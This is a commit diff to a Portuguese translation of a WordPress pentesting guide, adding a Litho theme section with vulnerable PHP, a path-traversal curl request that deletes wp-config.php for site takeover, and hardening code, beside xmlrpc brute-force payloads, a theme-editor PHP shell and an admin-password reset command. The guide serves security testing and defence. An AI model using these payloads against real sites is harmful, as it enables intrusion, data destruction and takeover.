Translated ['src/network-services-pentesting/pentesting-web/wordpress.md

This commit is contained in:
Translator 2025-08-05 02:56:20 +00:00
parent bed9bfe241
commit 8c059ce3a2

View File

@ -25,14 +25,14 @@
- `xmlrpc.php` é um arquivo que representa um recurso do WordPress que permite que dados sejam transmitidos com HTTP atuando como o mecanismo de transporte e XML como o mecanismo de codificação. Esse tipo de comunicação foi substituído pela [REST API](https://developer.wordpress.org/rest-api/reference) do WordPress.
- A pasta `wp-content` é o diretório principal onde plugins e temas são armazenados.
- `wp-content/uploads/` é o diretório onde quaisquer arquivos enviados para a plataforma são armazenados.
- `wp-includes/` este é o diretório onde arquivos principais são armazenados, como certificados, fontes, arquivos JavaScript e widgets.
- `wp-sitemap.xml` nas versões do WordPress 5.5 e superiores, o WordPress gera um arquivo XML de sitemap com todas as postagens públicas e tipos de postagens e taxonomias publicamente consultáveis.
- `wp-includes/` Este é o diretório onde arquivos principais são armazenados, como certificados, fontes, arquivos JavaScript e widgets.
- `wp-sitemap.xml` Nas versões do WordPress 5.5 e superiores, o WordPress gera um arquivo XML de sitemap com todas as postagens públicas e tipos de postagens e taxonomias publicamente consultáveis.
**Pós-exploração**
- O arquivo `wp-config.php` contém informações necessárias para o WordPress se conectar ao banco de dados, como o nome do banco de dados, host do banco de dados, nome de usuário e senha, chaves de autenticação e sais, e o prefixo da tabela do banco de dados. Este arquivo de configuração também pode ser usado para ativar o modo DEBUG, que pode ser útil na solução de problemas.
### Permissões dos Usuários
### Permissões de Usuários
- **Administrador**
- **Editor**: Publica e gerencia suas postagens e as de outros
@ -91,7 +91,7 @@ curl -s -I -X GET http://blog.example.com/?author=1
```
Se as respostas forem **200** ou **30X**, isso significa que o id é **válido**. Se a resposta for **400**, então o id é **inválido**.
- **wp-json:** Você também pode tentar obter informações sobre os usuários consultando:
- **wp-json:** Você também pode tentar obter informações sobre os usuários fazendo consultas:
```bash
curl http://blog.example.com/wp-json/wp/v2/users
```
@ -120,9 +120,9 @@ Para ver se está ativo, tente acessar _**/xmlrpc.php**_ e envie esta solicitaç
```
![](https://h3llwings.files.wordpress.com/2019/01/list-of-functions.png?w=656)
**Bruteforce de Credenciais**
**Força Bruta de Credenciais**
**`wp.getUserBlogs`**, **`wp.getCategories`** ou **`metaWeblog.getUsersBlogs`** são alguns dos métodos que podem ser usados para realizar bruteforce de credenciais. Se você conseguir encontrar algum deles, pode enviar algo como:
**`wp.getUserBlogs`**, **`wp.getCategories`** ou **`metaWeblog.getUsersBlogs`** são alguns dos métodos que podem ser usados para forçar credenciais. Se você conseguir encontrar algum deles, pode enviar algo como:
```html
<methodCall>
<methodName>wp.getUsersBlogs</methodName>
@ -132,7 +132,7 @@ Para ver se está ativo, tente acessar _**/xmlrpc.php**_ e envie esta solicitaç
</params>
</methodCall>
```
A mensagem _"Nome de usuário ou senha incorretos"_ dentro de uma resposta com código 200 deve aparecer se as credenciais não forem válidas.
A mensagem _"Nome de usuário ou senha incorretos"_ dentro de uma resposta de código 200 deve aparecer se as credenciais não forem válidas.
![](<../../images/image (107) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (4) (1).png>)
@ -174,7 +174,7 @@ Também há uma **maneira mais rápida** de forçar credenciais usando **`system
**Bypass 2FA**
Este método é destinado a programas e não a humanos, e é antigo, portanto não suporta 2FA. Assim, se você tiver credenciais válidas, mas a entrada principal estiver protegida por 2FA, **você pode ser capaz de abusar do xmlrpc.php para fazer login com essas credenciais contornando 2FA**. Note que você não poderá realizar todas as ações que pode fazer através do console, mas ainda pode conseguir RCE, como Ippsec explica em [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s)
Este método é destinado a programas e não a humanos, e é antigo, portanto não suporta 2FA. Assim, se você tiver credenciais válidas, mas a entrada principal estiver protegida por 2FA, **você pode ser capaz de abusar do xmlrpc.php para fazer login com essas credenciais contornando o 2FA**. Note que você não poderá realizar todas as ações que pode fazer através do console, mas ainda pode conseguir chegar ao RCE, como Ippsec explica em [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s)
**DDoS ou varredura de portas**
@ -210,10 +210,10 @@ Dê uma olhada no uso de **`system.multicall`** na seção anterior para aprende
### wp-cron.php DoS
Este arquivo geralmente existe na raiz do site Wordpress: **`/wp-cron.php`**\
Quando este arquivo é **acessado**, uma **consulta** MySQL "**pesada**" é realizada, então pode ser usado por **atacantes** para **causar** um **DoS**.\
Quando este arquivo é **acessado**, uma **consulta** MySQL "**pesada**" é realizada, podendo ser usado por **atacantes** para **causar** um **DoS**.\
Além disso, por padrão, o `wp-cron.php` é chamado em cada carregamento de página (sempre que um cliente solicita qualquer página do Wordpress), o que em sites de alto tráfego pode causar problemas (DoS).
É recomendado desabilitar o Wp-Cron e criar um cronjob real dentro do host que execute as ações necessárias em um intervalo regular (sem causar problemas).
Recomenda-se desativar o Wp-Cron e criar um cronjob real dentro do host que execute as ações necessárias em um intervalo regular (sem causar problemas).
### /wp-json/oembed/1.0/proxy - SSRF
@ -231,7 +231,7 @@ https://github.com/t0gu/quickpress/blob/master/core/requests.go
Esta ferramenta verifica se o **methodName: pingback.ping** e para o caminho **/wp-json/oembed/1.0/proxy** e se existir, tenta explorá-los.
## Automatic Tools
## Ferramentas Automáticas
```bash
cmsmap -s http://www.domain.com -t 2 -a "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0"
wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detection aggressive] --api-token <API_TOKEN> --passwords /usr/share/wordlists/external/SecLists/Passwords/probable-v2-top1575.txt #Brute force found users and search for vulnerabilities using a free API token (up 50 searchs)
@ -239,16 +239,16 @@ wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detec
```
## Obter acesso sobrescrevendo um bit
Mais do que um ataque real, isso é uma curiosidade. No CTF [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man) você poderia inverter 1 bit de qualquer arquivo do wordpress. Assim, você poderia inverter a posição `5389` do arquivo `/var/www/html/wp-includes/user.php` para NOP a operação NOT (`!`).
Mais do que um ataque real, isso é uma curiosidade. No CTF [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man), você poderia inverter 1 bit de qualquer arquivo do wordpress. Assim, você poderia inverter a posição `5389` do arquivo `/var/www/html/wp-includes/user.php` para NOP a operação NOT (`!`).
```php
if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) {
return new WP_Error(
```
## **Painel RCE**
**Modificando um php do tema utilizado (credenciais de administrador necessárias)**
**Modificando um php do tema usado (credenciais de administrador necessárias)**
Aparência → Editor de Tema → Template 404 (à direita)
Aparência → Editor de Tema → Modelo 404 (à direita)
Altere o conteúdo para um shell php:
@ -299,13 +299,13 @@ Este método envolve a instalação de um plugin malicioso conhecido por ser vul
1. **Aquisição do Plugin**: O plugin é obtido de uma fonte como o Exploit DB como [**aqui**](https://www.exploit-db.com/exploits/36374).
2. **Instalação do Plugin**:
- Navegue até o painel do WordPress, em seguida, vá para `Painel > Plugins > Fazer Upload do Plugin`.
- Navegue até o painel do WordPress, em seguida vá para `Painel > Plugins > Fazer Upload do Plugin`.
- Faça o upload do arquivo zip do plugin baixado.
3. **Ativação do Plugin**: Uma vez que o plugin esteja instalado com sucesso, ele deve ser ativado através do painel.
4. **Exploração**:
- Com o plugin "reflex-gallery" instalado e ativado, ele pode ser explorado, pois é conhecido por ser vulnerável.
- O framework Metasploit fornece um exploit para essa vulnerabilidade. Carregando o módulo apropriado e executando comandos específicos, uma sessão meterpreter pode ser estabelecida, concedendo acesso não autorizado ao site.
- É observado que este é apenas um dos muitos métodos para explorar um site WordPress.
- É importante notar que este é apenas um dos muitos métodos para explorar um site WordPress.
O conteúdo inclui auxílios visuais que retratam os passos no painel do WordPress para instalar e ativar o plugin. No entanto, é importante notar que explorar vulnerabilidades dessa maneira é ilegal e antiético sem a devida autorização. Essas informações devem ser usadas de forma responsável e apenas em um contexto legal, como testes de penetração com permissão explícita.
@ -330,15 +330,15 @@ Alterar a senha do administrador:
```bash
mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;UPDATE wp_users SET user_pass=MD5('hacked') WHERE ID = 1;"
```
## Wordpress Plugins Pentest
## Pentest de Plugins do Wordpress
### Superfície de Ataque
Saber como um plugin do Wordpress pode expor funcionalidades é fundamental para encontrar vulnerabilidades em sua funcionalidade. Você pode encontrar como um plugin pode expor funcionalidades nos seguintes pontos e alguns exemplos de plugins vulneráveis em [**este post do blog**](https://nowotarski.info/wordpress-nonce-authorization/).
Saber como um plugin do Wordpress pode expor funcionalidades é fundamental para encontrar vulnerabilidades em sua funcionalidade. Você pode descobrir como um plugin pode expor funcionalidades nos seguintes pontos e alguns exemplos de plugins vulneráveis em [**este post do blog**](https://nowotarski.info/wordpress-nonce-authorization/).
- **`wp_ajax`**
Uma das maneiras que um plugin pode expor funções para os usuários é através de manipuladores AJAX. Estes podem conter bugs de lógica, autorização ou autenticação. Além disso, é bastante frequente que essas funções baseiem tanto a autenticação quanto a autorização na existência de um nonce do Wordpress que **qualquer usuário autenticado na instância do Wordpress pode ter** (independentemente de seu papel).
Uma das maneiras que um plugin pode expor funções para os usuários é através de manipuladores AJAX. Estes podem conter bugs de lógica, autorização ou autenticação. Além disso, é bastante comum que essas funções baseiem tanto a autenticação quanto a autorização na existência de um nonce do Wordpress que **qualquer usuário autenticado na instância do Wordpress pode ter** (independentemente de seu papel).
Estas são as funções que podem ser usadas para expor uma função em um plugin:
```php
@ -348,7 +348,7 @@ add_action( 'wp_ajax_nopriv_action_name', array(&$this, 'function_name'));
**O uso de `nopriv` torna o endpoint acessível a qualquer usuário (mesmo os não autenticados).**
> [!CAUTION]
> Além disso, se a função estiver apenas verificando a autorização do usuário com a função `wp_verify_nonce`, essa função está apenas verificando se o usuário está logado, geralmente não está verificando o papel do usuário. Assim, usuários com baixos privilégios podem ter acesso a ações de altos privilégios.
> Além disso, se a função estiver apenas verificando a autorização do usuário com a função `wp_verify_nonce`, essa função está apenas verificando se o usuário está logado, geralmente não está verificando o papel do usuário. Assim, usuários com privilégios baixos podem ter acesso a ações de altos privilégios.
- **REST API**
@ -362,25 +362,101 @@ $this->namespace, '/get/', array(
)
);
```
O `permission_callback` é uma função de retorno que verifica se um determinado usuário está autorizado a chamar o método da API.
O `permission_callback` é um callback para uma função que verifica se um determinado usuário está autorizado a chamar o método da API.
**Se a função embutida `__return_true` for usada, ela simplesmente ignorará a verificação de permissões do usuário.**
- **Acesso direto ao arquivo php**
Claro, o Wordpress usa PHP e os arquivos dentro dos plugins são acessíveis diretamente pela web. Portanto, caso um plugin esteja expondo alguma funcionalidade vulnerável que é acionada apenas acessando o arquivo, isso será explorável por qualquer usuário.
Claro, o Wordpress usa PHP e os arquivos dentro dos plugins são acessíveis diretamente pela web. Assim, caso um plugin esteja expondo alguma funcionalidade vulnerável que é acionada apenas acessando o arquivo, ele será explorável por qualquer usuário.
### Exclusão Arbitrária de Arquivos Não Autenticada via wp_ajax_nopriv (Tema Litho <= 3.0)
Os temas e plugins do WordPress frequentemente expõem manipuladores AJAX através dos hooks `wp_ajax_` e `wp_ajax_nopriv_`. Quando a variante **_nopriv_** é usada **o callback se torna acessível por visitantes não autenticados**, então qualquer ação sensível deve implementar adicionalmente:
1. Uma **verificação de capacidade** (por exemplo, `current_user_can()` ou pelo menos `is_user_logged_in()`), e
2. Um **nonce CSRF** validado com `check_ajax_referer()` / `wp_verify_nonce()`, e
3. **Sanitização / validação rigorosa de entrada**.
O tema multipropósito Litho (< 3.1) esqueceu esses 3 controles na funcionalidade *Remover Família de Fonte* e acabou enviando o seguinte código (simplificado):
```php
function litho_remove_font_family_action_data() {
if ( empty( $_POST['fontfamily'] ) ) {
return;
}
$fontfamily = str_replace( ' ', '-', $_POST['fontfamily'] );
$upload_dir = wp_upload_dir();
$srcdir = untrailingslashit( wp_normalize_path( $upload_dir['basedir'] ) ) . '/litho-fonts/' . $fontfamily;
$filesystem = Litho_filesystem::init_filesystem();
if ( file_exists( $srcdir ) ) {
$filesystem->delete( $srcdir, FS_CHMOD_DIR );
}
die();
}
add_action( 'wp_ajax_litho_remove_font_family_action_data', 'litho_remove_font_family_action_data' );
add_action( 'wp_ajax_nopriv_litho_remove_font_family_action_data', 'litho_remove_font_family_action_data' );
```
Problemas introduzidos por este trecho:
* **Acesso não autenticado** o gancho `wp_ajax_nopriv_` está registrado.
* **Sem verificação de nonce / capacidade** qualquer visitante pode acessar o endpoint.
* **Sem sanitização de caminho** a string `fontfamily` controlada pelo usuário é concatenada a um caminho de sistema de arquivos sem filtragem, permitindo a clássica travessia `../../`.
#### Exploração
Um atacante pode deletar qualquer arquivo ou diretório **abaixo do diretório base de uploads** (normalmente `<wp-root>/wp-content/uploads/`) enviando uma única solicitação HTTP POST:
```bash
curl -X POST https://victim.com/wp-admin/admin-ajax.php \
-d 'action=litho_remove_font_family_action_data' \
-d 'fontfamily=../../../../wp-config.php'
```
Porque `wp-config.php` está fora de *uploads*, quatro sequências de `../` são suficientes em uma instalação padrão. Deletar `wp-config.php` força o WordPress a entrar no *assistente de instalação* na próxima visita, permitindo uma tomada total do site (o atacante apenas fornece uma nova configuração de DB e cria um usuário admin).
Outros alvos impactantes incluem arquivos `.php` de plugins/temas (para quebrar plugins de segurança) ou regras de `.htaccess`.
#### Lista de verificação de detecção
* Qualquer callback `add_action( 'wp_ajax_nopriv_...')` que chama helpers de sistema de arquivos (`copy()`, `unlink()`, `$wp_filesystem->delete()`, etc.).
* Concatenação de entrada de usuário não sanitizada em caminhos (procure por `$_POST`, `$_GET`, `$_REQUEST`).
* Ausência de `check_ajax_referer()` e `current_user_can()`/`is_user_logged_in()`.
#### Fortalecimento
```php
function secure_remove_font_family() {
if ( ! is_user_logged_in() ) {
wp_send_json_error( 'forbidden', 403 );
}
check_ajax_referer( 'litho_fonts_nonce' );
$fontfamily = sanitize_file_name( wp_unslash( $_POST['fontfamily'] ?? '' ) );
$srcdir = trailingslashit( wp_upload_dir()['basedir'] ) . 'litho-fonts/' . $fontfamily;
if ( ! str_starts_with( realpath( $srcdir ), realpath( wp_upload_dir()['basedir'] ) ) ) {
wp_send_json_error( 'invalid path', 400 );
}
// … proceed …
}
add_action( 'wp_ajax_litho_remove_font_family_action_data', 'secure_remove_font_family' );
// 🔒 NO wp_ajax_nopriv_ registration
```
> [!TIP]
> **Sempre** trate qualquer operação de escrita/exclusão no disco como privilegiada e verifique duas vezes:
> • Autenticação • Autorização • Nonce • Sanitização de entrada • Contenção de caminho (por exemplo, via `realpath()` mais `str_starts_with()`).
---
## Proteção do WordPress
### Atualizações Regulares
Certifique-se de que o WordPress, plugins e temas estejam atualizados. Também confirme que a atualização automática está habilitada em wp-config.php:
Certifique-se de que o WordPress, plugins e temas estão atualizados. Também confirme que a atualização automática está habilitada no wp-config.php:
```bash
define( 'WP_AUTO_UPDATE_CORE', true );
add_filter( 'auto_update_plugin', '__return_true' );
add_filter( 'auto_update_theme', '__return_true' );
```
Também, **instale apenas plugins e temas confiáveis do WordPress**.
Também, **instale apenas plugins e temas do WordPress confiáveis**.
### Plugins de Segurança
@ -396,4 +472,8 @@ Também, **instale apenas plugins e temas confiáveis do WordPress**.
- **Limite tentativas de login** para prevenir ataques de Força Bruta
- Renomeie o arquivo **`wp-admin.php`** e permita acesso apenas internamente ou de certos endereços IP.
## Referências
- [Vulnerabilidade de Exclusão de Arquivo Arbitrário Não Autenticada no Tema Litho](https://patchstack.com/articles/unauthenticated-arbitrary-file-delete-vulnerability-in-litho-the/)
{{#include ../../banners/hacktricks-training.md}}